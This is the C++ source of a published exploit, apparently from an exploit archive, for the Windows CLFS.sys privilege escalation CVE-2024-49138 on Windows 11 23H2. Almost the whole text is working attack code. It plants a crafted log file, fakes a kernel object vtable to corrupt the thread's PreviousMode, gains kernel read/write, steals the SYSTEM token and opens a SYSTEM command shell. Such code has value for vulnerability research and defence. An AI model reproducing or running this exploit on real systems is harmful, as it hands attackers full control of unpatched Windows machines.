# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2024-49138
#include <iostream>
#include <Windows.h>
#include <clfsw32.h>
#include <format>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <iomanip>
#include <vector>
#include <cstdint>
#include "resource.h"
#define CONTROL_BLOCK_SIZE 0x400
#define OFFSET_EXTENDED_STATE 0x84
#define OFFSET_IEXTENDED_BLOCK 0x88
#define OFFSET_IFLUSHB_BLOCK 0x8c
#define _CRT_SECURE_NO_WARNINGS 1
//dt nt!_KTHREAD current
//+ 0x230 UserAffinityPrimaryGroup : 0
//+ 0x232 PreviousMode : 1 ''
//+ 0x233 BasePriority : 15 ''
//+ 0x234 PriorityDecrement : 0 ''
//+ 0x234 ForegroundBoost : 0y0000
//+ 0x234 UnusualBoost : 0y0000
//+ 0x235 Preempted : 0 ''
//+ 0x236 AdjustReason : 0 ''
//+ 0x237 AdjustIncrement : 0 ''
//+ 0x238 AffinityVersion : 0x14
//+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX
//WINDBG > dq ffffc201419e1080 + 0x232 L1
//ffffc201`419e12b2 00140000`00000f01
//WINDBG > ? nt!PoFxProcessorNotification - nt
//Evaluate expression : 3861424 = 00000000`003aebb0
//WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt
//Evaluate expression : 8324768 = 00000000`007f06a0
//WINDBG > ? nt!PsActiveProcessHead - nt
//Evaluate expression : 12812128 = 00000000`00c37f60
#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
#define ACTIVEPROCESSLINKS_OFFSET 0x448
#define UNIQUEPROCESSID_OFFSET 0x440
#define TOKEN_OFFSET 0x4b8
#define TOKENPRIVILEGESPRESENT_OFFSET 0x40
#define TOKENPRIVILEGSENABLED_OFFSET 0x48
#pragma comment(lib, "Clfsw32.lib")
LPVOID GetKernelBaseAddress() {
LPVOID drivers[1024]; // Array to hold driver addresses
DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers
int driverCount;
TCHAR driverName[MAX_PATH];
// Enumerate loaded device drivers
if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
printf("Failed to enumerate device drivers. Error: %lu\n",
GetLastError());
return (LPVOID)0x0;
}
driverCount = cbNeeded / sizeof(drivers[0]);
if (driverCount == 0) {
printf("No device drivers found.\n");
return (LPVOID)0x0;
}
// The first driver is usually the Windows kernel
LPVOID kernelBaseAddress = drivers[0];
// Retrieve the name of the kernel driver
if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {
printf("Kernel Base Address: 0x%p\n", kernelBaseAddress);
printf("Kernel Name: %ls\n", driverName);
}
else {
printf("Failed to retrieve kernel name. Error: %lu\n",
GetLastError());
}
return kernelBaseAddress;
}
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// Definitions for NTSTATUS and system calls
using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG BufferSize,
PULONG NumberOfBytesRead);
using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG BufferSize,
PULONG NumberOfBytesWritten);
fNtReadVirtualMemory NtReadVirtualMemory = NULL;
fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
// handle information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
// handle table information
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
PVOID GetKAddrFromHandle(HANDLE handle) {
ULONG returnLength = 0;
fNtQuerySystemInformation NtQuerySystemInformation =
(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");
PSYSTEM_HANDLE_INFORMATION handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
SystemHandleInformationSize);
NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, SystemHandleInformationSize, &returnLength);
ULONG numberOfHandles = handleTableInformation->NumberOfHandles;
HeapFree(GetProcessHeap(), 0, handleTableInformation);
handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +
sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, numberOfHandles *
sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)
+ 0x100, &returnLength);
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
if (handleInfo.HandleValue == (USHORT)handle &&
handleInfo.UniqueProcessId == GetCurrentProcessId())
{
return handleInfo.Object;
}
}
}
LPVOID g_ntbase = 0;
LPVOID address_to_write;
//Final byte = kthread.previousMode = 0
DWORD64 value_to_write = 0x0014000000000f00;
//BOOL SwapTokens() {
// DWORD64 eprocess = 0;
// ULONG bytesRead = 0;
// DWORD64 systemtoken = 0;
// DWORD64 currenttoken = 0;
// DWORD pid = 0;
// DWORD64 privileges = 0x0000001ff2ffffbc;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
// eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);
//
//
// while (1) {
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
//
// eprocess -= ACTIVEPROCESSLINKS_OFFSET;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
// std::cout << "pid = " << pid << std::endl;
//
// if (pid == GetCurrentProcessId())
// break;
// }
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
¤ttoken, sizeof(currenttoken), NULL);
//
//
//
// //clears refcnt
// currenttoken = currenttoken & 0xfffffffffffffff0;
//
// printf("performing NtWriteVirtualMemory..\n");
//
// getchar();
//
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL);
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL);
//
//
// NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, 0x8, NULL);
//
// return TRUE;
//}
int main()
{
HMODULE hModule;
HRSRC hResource;
errno_t err;
HGLOBAL hLoadedResource;
LPVOID pResourceData;
DWORD resourceSize;
FILE* file;
DWORD sectorsPerCluster;
DWORD bytesPerSector;
DWORD numberOfFreeClusters;
DWORD totalNumberOfClusters;
const char* rootPath = "C:\\";
PVOID marshallingArea = NULL;
ULONGLONG pcbContainer = 0;
std::wstring logFileName = L"LOG:";
std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf";
logFileName += inputName;
DWORD64 buf = 0;
ULONG bytesRead = 0;
LPVOID PreviousModeAddr = NULL;
DWORD threadId = GetCurrentThreadId(); // Get the current thread ID
DWORD64 eprocess = 0;
DWORD64 systemtoken = 0;
DWORD64 currenttoken = 0;
DWORD64 pid = 0;
BYTE PreviousMode = 0x1;
DWORD64 privileges = 0x0000001ff2ffffbc;
const char* directoryName1 = "C:\\temp";
const char* directoryName2 = "C:\\temp\\testlog";
HANDLE logHndl = INVALID_HANDLE_VALUE;
ULONGLONG cbContainer = (ULONGLONG)0x80000;
//Creating directories with the baselog and container file
if (CreateDirectoryA(directoryName1, NULL)) {
printf("Directory created successfully: %s\n", directoryName1);
}
else {
DWORD error = GetLastError();
if (error == ERROR_ALREADY_EXISTS) {
printf("The directory already exists: %s\n", directoryName1);
}
else {
printf("Failed to create the directory. Error code: %lu\n",
error);
return 0;
}
}
if (CreateDirectoryA(directoryName2, NULL)) {
printf("Directory created successfully: %s\n", directoryName2);
}
else {
DWORD error = GetLastError();
if (error == ERROR_ALREADY_EXISTS) {
printf("The directory already exists: %s\n", directoryName2);
}
else {
printf("Failed to create the directory. Error code: %lu\n",
error);
return 0;
}
}
//creating BLF
logHndl = CreateLogFile(logFileName.c_str(),
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
0);
if (logHndl == INVALID_HANDLE_VALUE) {
printf("CreateLogFile failed with error %d\n", GetLastError());
return 0;
}
else {
printf("file opened successfully\n");
}
//creating and adding container to BLF
if (!AddLogContainer(logHndl, &cbContainer,
(LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) {
printf("AddLogContainer failed with error %d\n", GetLastError());
}
else {
printf("AddLogContainer successful\n");
}
//closing BLF
CloseHandle(logHndl);
// Initialize variables
hModule = GetModuleHandle(NULL);
if (!hModule) {
printf("Failed to get module handle.\n");
return 1;
}
// Find the resource in the executable
hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),
RT_RCDATA);
if (!hResource) {
printf("Failed to find resource. Error: %lu\n", GetLastError());
return 1;
}
printf("hResource = 0x%p\n", hResource);
// Load the resource into memory
hLoadedResource = LoadResource(hModule, hResource);
if (!hLoadedResource) {
printf("Failed to load resource. Error: %lu\n", GetLastError());
return 1;
}
printf("hResource = 0x%p\n", hLoadedResource);
// Lock the resource to get a pointer to its data
pResourceData = LockResource(hLoadedResource);
if (!pResourceData) {
printf("Failed to lock resource. Error: %lu\n", GetLastError());
return 1;
}
printf("pResourceData = 0x%p\n", pResourceData);
// Get the size of the resource
resourceSize = SizeofResource(hModule, hResource);
if (resourceSize == 0) {
printf("Failed to get resource size. Error: %lu\n", GetLastError());
return 1;
}
// At this point, pResourceData points to the binary data, and
resourceSize contains its size
printf("Resource size: %lu bytes\n", resourceSize);
// Example: Write the resource data to a file
err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb");
if (err == 0 && file) {
fwrite(pResourceData, 1, resourceSize, file);
fclose(file);
printf("Resource written to output.bin successfully.\n");
}
else {
printf("Failed to open output file. Error code: %d\n", err);
}
//preparing data structures in memory
g_ntbase = GetKernelBaseAddress();
NtReadVirtualMemory =
(fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtReadVirtualMemory");
NtWriteVirtualMemory =
(fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtWriteVirtualMemory");
if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {
printf("Failed to get addresses for NtReadVirtualMemory or
NtWriteVirtualMemory\n");
return -1;
}
printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory);
printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory);
// Open a real handle to the current thread
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
if (threadHandle == NULL) {
printf("Failed to get real handle to the current thread. Error:
%lu\n", GetLastError());
return 1;
}
//0x232 = offset to _KTHREAD.PreviousMode
address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))
+ 0x232);
auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memset(pcclfscontainer, 0, 0x1000);
auto vtable = (DWORD64)pcclfscontainer + 0x100;
auto rcx = pcclfscontainer;
*(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;
*(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase
+ DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;
//arg1 of DBGKPTRIAGEDUMPRESTORESTATE
*(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;
auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;
//address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember
It writes at offset 0x2078 of where
*((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =
(DWORD64)address_to_write - 0x2078;
//value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE
*((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =
0x0014000000000f00;
((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +
POFXPROCESSORNOTIFICATION_OFFSET;
*(PDWORD64)pcclfscontainer = (DWORD64)vtable;
printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer);
printf("address_to_write = 0x%p\n", (DWORD64)address_to_write);
HANDLE processHandle = GetCurrentProcess(); // Get the current process
handle
// Set the process priority to HIGH_PRIORITY_CLASS
if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {
printf("Process priority set to REALTIME_PRIORITY_CLASS.\n");
}
else {
DWORD error = GetLastError();
printf("Failed to set process priority. Error code: %lu\n", error);
return 1;
}
threadHandle = GetCurrentThread();
if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {
printf("Thread priority set to the highest level:
TIME_CRITICAL.\n");
}
else {
DWORD error = GetLastError();
printf("Failed to set thread priority. Error code: %lu\n", error);
return 1;
}
printf("triggering vuln...");
logHndl = CreateLogFile(logFileName.c_str(),
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
0);
if (logHndl == INVALID_HANDLE_VALUE) {
printf("CreateLogFile failed with error %d\n", GetLastError());
}
else {
printf("file opened successfully\n");
}
// Set the process priority to HIGH_PRIORITY_CLASS
if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {
printf("Process priority set to NORMAL_PRIORITY_CLASS.\n");
}
else {
DWORD error = GetLastError();
printf("Failed to set process priority. Error code: %lu\n", error);
return 1;
}
if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {
printf("Thread priority set to the highest level:
THREAD_PRIORITY_NORMAL.\n");
}
else {
DWORD error = GetLastError();
printf("Failed to set thread priority. Error code: %lu\n", error);
return 1;
}
printf("vuln triggered\n");
printf("reading base of ntoskrnl to check we have arbitrary
read/write\n");
NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL);
printf("buf = 0x%p\n", (DWORD64)buf);
printf("swapping tokens...\n");
NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);
while (1) {
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
eprocess -= ACTIVEPROCESSLINKS_OFFSET;
NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
if (pid == (DWORD64)GetCurrentProcessId())
break;
}
printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET);
printf("systemtoken = 0x%p\n", systemtoken);
printf("Overwriting process token..\n");
NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);
printf("token swapped. Restoring PreviousMode and spawning system
shell...\n");
PreviousModeAddr = address_to_write;
PreviousMode = 0x1;
NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode,
sizeof(PreviousMode), NULL);
system("cmd.exe");
return 0;
}